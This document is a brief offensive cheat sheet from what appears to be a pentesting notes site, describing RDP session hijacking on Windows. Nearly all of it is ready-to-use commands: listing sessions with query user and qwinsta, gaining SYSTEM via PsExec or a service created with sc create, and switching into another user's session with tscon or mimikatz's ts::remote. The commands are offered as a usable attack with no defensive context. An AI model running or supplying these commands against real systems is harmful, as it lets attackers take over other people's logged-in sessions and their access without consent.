RDP Hijacking - BookJMP

Overview

As SYSTEM, hijack active or disconnected RDP sessions without knowing the user’s password. Uses tscon to switch sessions.

query user
qwinsta

Output shows session IDs and state (Active/Disc).

PsExec.exe -s cmd.exe

Or via service:

sc create sesshijack binpath= "cmd.exe /k tscon TARGET_SESSION_ID /dest:rdp-tcp#CURRENT_SESSION"
sc start sesshijack

tscon TARGET_SESSION_ID /dest:rdp-tcp#YOUR_SESSION_ID

# You are in session 2, want to hijack session 1
tscon 1 /dest:rdp-tcp#2

sc create hijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#2"
net start hijack

mimikatz # ts::sessions          # List sessions
mimikatz # token::elevate        # Get SYSTEM
mimikatz # ts::remote /id:1      # Hijack session 1

Task	Command
List sessions	`query user` or `qwinsta`
Hijack	`tscon SESSION_ID /dest:rdp-tcp#YOUR_SESSION`
Via service	`sc create hijack binpath= "cmd /k tscon ..."`
Mimikatz	`ts::remote /id:SESSION_ID`